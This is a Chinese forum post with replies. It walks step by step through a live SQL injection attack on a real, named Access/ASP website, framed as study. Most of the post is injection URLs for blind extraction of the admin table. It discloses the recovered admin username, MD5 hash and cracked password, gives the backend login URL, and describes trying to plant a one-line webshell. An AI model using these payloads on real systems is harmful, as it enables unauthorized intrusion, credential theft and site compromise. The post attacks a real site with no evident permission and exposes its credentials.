首页
社区
课程
招聘
[原创]Access sql注入实例---只为共同探讨、学习,共同进步,提高所有人的安全意识
发表于: 2010-6-10 10:42 14438

[原创]Access sql注入实例---只为共同探讨、学习,共同进步,提高所有人的安全意识

2010-6-10 10:42
14438

Sql注入实例 作者:ssLong   QQ:253651745
由于学习需要,因此学习了关于拿站相关知识,当然我刚刚起步,今天主要是学习sql注入,并且找了一个具体的实例,来说明sql注入的整个流程。
一下为本人学习之后总结的,不对之处还请各位高人批评、指教,感激不尽。

简单说一下,本菜鸟对sql注入的理解:sql注入就是攻击者精心构造的sql语句,可以被远程服务器的数据库正常执行,完成一些特定的功能,达到攻击的目的。其主要原因,网站制造者的安全意识不够,没有考虑网站浏览者提交特殊的,非法参数的情况,从而产生了sql注入。同时,网站制作者没有对网站出错时,进行处理,直接将很多有用的信息提供给了攻击者,这样也降低了攻击者攻击的门槛。希望引起网站制作者的注意。不知道在这场,魔与道还是道与魔的对抗中谁能获胜?谁能笑到最后?

目标网站为:http://www.shengqiguanli.com/jiao_lian.asp?id=45(随便查找,没有其它意思,只是测试而已,不做任何妨碍网站正常使用的事,如有人进行攻击行为,本人概不负责。真正的黑客是不会这么多的,正所谓点到为止)

1.        取消IE的  显示友好Http错误信息,因为我们很多时候,都要利用网站出错显示的错误信息,得到网站本身信息,这些信息对于我们来说非常有用。

2.判断注入点 一般一个网站的注入点主要是存在浏览新闻,注册时输入信息框,搜索框等需要和数据库交互的页面中。
我们的目标:
http://www.shengqiguanli.com/jiao_lian.asp?id=45
检测方法一般是经典的三步走:

第一步:在网址后面加入 单引号’ 即
http://www.shengqiguanli.com/jiao_lian.asp?id=45'  有错
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and 1=1 正常返回
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and 1=2 异常返回
一般可以判断此url可以被sql注入。
3.判断数据库类型 因为当前各种网址使用的语言和数据库各不相同,比如Asp+access 、 Asp+sql server 、php+ my sql /Ms sql 、 Jsp + Oracle / Mysql 、Aspx + Access /Ms Sql 等等。而各种数据库对应的sql语句各不相同,因此首先需要确定数据库类型。

一般方法是:
1)        http://www.shengqiguanli.com/jiao_lian.asp?id=45 and user >0

根据错误信息判断数据库类型:
表示为 Access 数据库
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e10'
[Microsoft][ODBC Microsoft Access Driver] 参数不足,期待是 1。
/jiao_lian.asp,行 43
2)        http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select count(*) from sysobjects)>0
3)        http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select count(*) from msysobjects)>0
注释:user 是sql server的内置变量 是nvarchar 如将与int比较 如果是sql server会直接报错,是Access会提示没有改变量
   Sysobjects是sql server 的数据库内置表,在web环境下,可以被正常访问
   Msysobjects是Access的数据库内置表 在web环境下,不能正常访问。
4.这个是个分水岭的步骤,因为是Access数据库,小弟初来咋到,不知道Access数据库时,有什么好的方法,只能走常规方法,猜!希望有高人直接。

1)        首先猜表
http://www.shengqiguanli.com/jiao_lian.asp?id=45  and (select count(*) from Admin)>=0 判断是否有Admin表 返回正常则存在 返回异常则不存在 等同下面的语句
http://www.shengqiguanli.com/jiao_lian.asp?id=45  and exists(select * from Admin)
非常幸运 这个网站按常理出牌了 返回的是正常页面,那么就说明有这个表,这个表中一般都是管理员用户名和密码,我们继续猜。当然如果返回异常,可以继续猜,一般的工具都是使用字典的,穷尽常见的表组成的字典,如果没有匹配的,则认为攻击失败。因此,给数据表已可以有效防止sql注入,但不是最好的方法。
2)        猜字段
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select count(username) from  Admin)>=0
判断是否正常,正常说明存在username字段,我们的是正常的 同理:
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select count(password) from  Admin)>=0
很容易想到 这个两个就是用户名和密码字段,已经足够了,继续猜
3)  确定长度
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 len(username) from  Admin)>10
一般用户名不会加密的所以不会很多,先判断是否在10以内。
发现返回异常,说明小于等于10
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 len(username) from  Admin)>5
返回还是异常 说明<=5
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 len(username) from  Admin)>3 返回正常 说明大于3

http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 len(username) from  Admin)>4 返回正常 说明大于4

所以可以确定长度是5

http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 len(password) from  Admin)>32 一般网站密码是使用md5加密的所以 一般都是32 或者16 当然也有例外,所以先判断是否在32以内
返回异常 说明<=32
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 len(password) from  Admin)>16 返回正常 说明大于16

http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 len(password) from  Admin)>24 返回正常 说明大于24
基本上可以确定是32了 我们直接测试32吧
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 len(password) from  Admin)=32 返回正常 说明密码是使用md5加密的 32位

4)        继续猜每一位
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 asc(mid(username,1,1)) from  Admin)>63 利用asc取一位猜测 其值是否大于ascii的中间值 返回正常 继续猜

http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 asc(mid(username,1,1)) from  Admin)>94 利用二分法取 ascii (126+63)/2=94 返回正常 继续猜

http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 asc(mid(username,1,1)) from  Admin)>110  返回异常 说明小于110

http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 asc(mid(username,1,1)) from  Admin)>102 异常

http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 asc(mid(username,1,1)) from  Admin)>98 异常

http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 asc(mid(username,1,1)) from  Admin)>96 返回正常

最终确定第一个字符为97 转换为字符是a.

同理 就可以猜到2~5位,和password的所有位,知道原理 其它的都一样。我们就直接使用 啊D这个专业工具吧,得到用户名:admin 密码:7fef6171469e80d32c0559f88b377245
直接去http://md5.org.cn/ 解密 看看人品:还不错:名为admin888

继续使用啊D查找网站后台,登录吧,当然啊D也是猜测后台,不是使用爬的方法,但是也很有效,还是那句话,太多了常理出牌了,我写的网站一般就不能扫出来,我都记不住后台页面,呵呵!见笑了,英语太差!
http://www.shengqiguanli.com/admin/index.asp 后台 登录 成功。

发现后台有个可以发布新闻的地方 将一句话木马 插入进去,返回插入成功,但是使用客户端却不能建立文件,求高人帮助说是没有写权限 ,晕了一次,继续

真是遗憾时间到了 没有找到可以利用的地方,先这样吧!只能帮帮管理员管理一下信息了..当然最好不要这样做 呵呵 点到为止嘛


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (9)
雪    币: 146
活跃值: (95)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
学习了。。。
2013-12-3 18:21
0
雪    币: 80
活跃值: (109)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
收藏了,谢谢
2013-12-3 19:04
0
雪    币: 1218
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
谢谢楼主
2018-3-5 15:16
0
雪    币:
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
感谢楼主
2018-11-25 16:55
0
雪    币: 257
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
学习了,刚好Access注入不太熟。。
2018-11-25 21:38
0
雪    币: 244
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
站点跟URL建议*起来。再怎么说网安法也已经出台了
最后于 2019-2-3 17:19 被MAXwheat编辑 ,原因:
2019-2-3 17:19
0
雪    币: 13
活跃值: (402)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
Access数据库有读文件的语句吗,注入后可不可以读文件
2019-8-23 12:52
0
雪    币: 220
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
10
mark
2020-2-10 12:30
0
游客
登录 | 注册 方可回帖
返回
//